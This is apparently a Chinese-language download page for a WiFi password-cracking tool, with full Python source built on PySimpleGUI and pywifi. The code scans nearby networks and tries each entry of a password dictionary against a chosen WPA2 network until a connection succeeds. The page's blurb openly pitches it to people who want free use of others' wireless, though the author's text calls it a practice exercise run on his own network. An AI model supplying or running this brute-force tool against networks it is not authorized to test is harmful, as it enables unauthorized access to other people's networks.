wifi密碼強制破解軟件能幫助用戶強行破解WiFi,從而快速獲取其真實密碼,可使用密碼字典的形式來進行操作,提升密碼獲取的效率,軟件整體使用非常簡單,只需選擇對應的無線即可進行操作,用戶可導入不同類型的字典進行快捷破解,想要免費連接別人無線的用戶快來試試吧。
軟件功能
這兩天在家無聊,想寫點小工具玩玩,于是看了一下PySimpleGUI,寫了一個暴力破解wifi的軟件
這是練習作品,不要指望它真能破解鄰居的WIFI密碼
密碼字典是網上隨便下載的,破解的WIFI也是我家的WIFI,再次重申,這只是練習作品!!!
軟件代碼
import PySimpleGUI as sg
import pywifi
from pywifi import const
import time, os.path
# 設置全局默認設置
sg.set_options(font=("微軟雅黑", 10))
# 定義UI布局
layout = [[sg.Text("2.選擇破解的WIFI名稱:")],
[sg.Combo(values=[], key="-WIFI NAME-", size=(40, None)), sg.Button("1.查找WIFI", key="-SCAN WIFI-")],
[sg.Text("3.選擇密碼字典文件:")],
[sg.InputText(key="-KEY LIST-"), sg.FileBrowse("選擇文件", target="-KEY LIST-", key="-FILE CHOOSE-")],
[sg.Button("4.執行檢查", key="-CHECK-"), sg.Button('5.開始破解', key="-START-", auto_size_button=False, disabled=True)],
[sg.Output(key="-OUTPUT-", size=(54, 20))]]
# 創建Window
window = sg.Window('Window Title', layout)
# 創建網卡
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()
iface = None
if len(ifaces) > 0:
iface = ifaces[0]
def scan_wifi():
"""掃描附近的WIFI"""
print("開始掃描WIFI,請稍候……")
iface.scan()
time.sleep(2)
results = []
for res in iface.scan_results():
if len(res.ssid) > 0 and res.ssid not in results:
results.append(res.ssid)
window["-WIFI NAME-"].update(values=results)
print("掃描完畢")
def check():
"""檢查破解前的準備工作是否完備"""
if iface is None:
print("你的計算機沒有網卡,請退出!")
window["-START-"].update(disabled=True)
return
else:
print("計算機網卡已選定:" + iface.name())
wifiname = values["-WIFI NAME-"]
if (wifiname is None) or (len(wifiname) == 0):
print("WIFI名稱不能為空")
return
else:
print("WIFI名稱:" + wifiname)
keylist = values["-KEY LIST-"]
if (keylist is None) or (len(keylist) == 0):
print("密碼字典路徑不能為空")
else:
if os.path.exists(keylist) and os.path.isfile(keylist):
print("密碼字典路徑:" + keylist)
window["-START-"].update(disabled=False)
else:
print("密碼字典路徑不正確")
def wifi_connect(interface, wifiname, password):
"""
嘗試進行 WiFi 連接
:param interface: 網卡對象
:param wifiname: WiFi名稱
:param password: WiFi密碼
:return: True or False, 連接成功或者失敗
"""
if interface.status() != const.IFACE_DISCONNECTED:
interface.disconnect() # 斷開連接
time.sleep(0.5)
profile = pywifi.Profile() # 創建WiFi連接文件
profile.ssid = wifiname # WiFi的ssid,即wifi的名稱
profile.key = password # WiFi密碼
profile.auth = const.AUTH_ALG_OPEN # 開放網卡
profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密類型,現在一般的wifi都是wpa2psk
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
interface.remove_all_network_profiles() # 清空profile列表
interface.add_network_profile(profile) # 添加profile
interface.connect(profile) # 連接WiFi
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
return False
def crack(wifiname, keylist):
"""
使用密碼字典的方式暴力破解 WiFi 密碼
:param wifiname: WiFi名稱
:param keylist: 密碼字典
:return: 破解出的密碼
"""
with open(keylist, "r", encoding="utf-8") as f:
for key in f.readlines():
key = key.strip()
print("正在嘗試密碼:" + key)
isok = wifi_connect(iface, wifiname, key)
if isok:
print("連接成功!WiFi:" + wifiname + " 密碼:" + key)
return key
else:
print("連接失敗,密碼錯誤")
# 事件處理循環
while True:
# 調用read()顯示窗口,等待用戶交互
event, values = window.read()
# 以下就是事件處理的邏輯
# 如果用戶點擊關閉窗口,就退出
if event == sg.WINDOW_CLOSED:
break
# 掃描WIFI
elif event == "-SCAN WIFI-":
scan_wifi()
# 執行檢查
elif event == "-CHECK-":
check()
# 開始破解
elif event == "-START-":
print("開始破解")
crack(values["-WIFI NAME-"], values["-KEY LIST-"])
# 關閉Window
window.close()
裝機必備軟件
網友評論